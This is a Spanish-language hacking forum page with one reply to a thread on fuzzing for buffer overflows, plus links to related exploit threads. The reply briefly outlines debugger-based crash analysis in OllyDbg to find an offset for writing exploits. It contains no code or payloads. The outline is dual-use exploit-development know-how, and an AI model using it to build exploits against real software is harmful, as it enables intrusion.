    Mensajes
    9
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Poder de Reputación
    0

    Predeterminado Respuesta: Fuzzer: Encontrando Vulnerabilidades Buffer Overflow

    no es por nada, pero tiene muchas partes de wiki pedia en ingles, les recomiendo usar ollydgb para windows, poner un ejecutable de input, en el RUN TRACE poner los para metros para que truene el programa ver el Offset y de ahi sacan sus exploits, sin wiki pedia
    Citar Citar   Share with Facebook

Temas Similares

  1. Duda Buffer Overflow
    Por HKR en el foro Bugs & Exploits
    Respuestas: 1
    Último Mensaje: 18/04/2010, 15:22
  2. Buffer overflow in WinAMP 2.x
    Por Doddy en el foro Biblioteca de Bugs & Exploits
    Respuestas: 0
    Último Mensaje: 05/03/2010, 21:28
  3. Buffer overflow in SmartDesk WebSuite v2.1
    Por Doddy en el foro Biblioteca de Bugs & Exploits
    Respuestas: 0
    Último Mensaje: 05/03/2010, 21:26
  4. zinf Buffer Overflow PoC
    Por Doddy en el foro Biblioteca de Bugs & Exploits
    Respuestas: 0
    Último Mensaje: 07/08/2009, 19:18
  5. ¿que es un buffer overflow ?
    Por .:WindHack:. en el foro Hack General
    Respuestas: 1
    Último Mensaje: 14/04/2009, 11:08

Etiquetas para este Tema

Permisos de Publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
 

Familia LH:
 Foro de Programacion - GeekHispano | Foro de Conversacion - TeVeo

Afiliados:
LeVeL-23 | Comunidad Underground de Mexico | Skamasle - De Todo un Poco | Foro Arte Libre | SSW Team | El Blog del Dr. White
Comunidad RAW | Polaxia Warez | [BACK DOOR] | Portal Hacker |
TECNOHACKER | Rthacker.net | Estegano | Artehack
 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75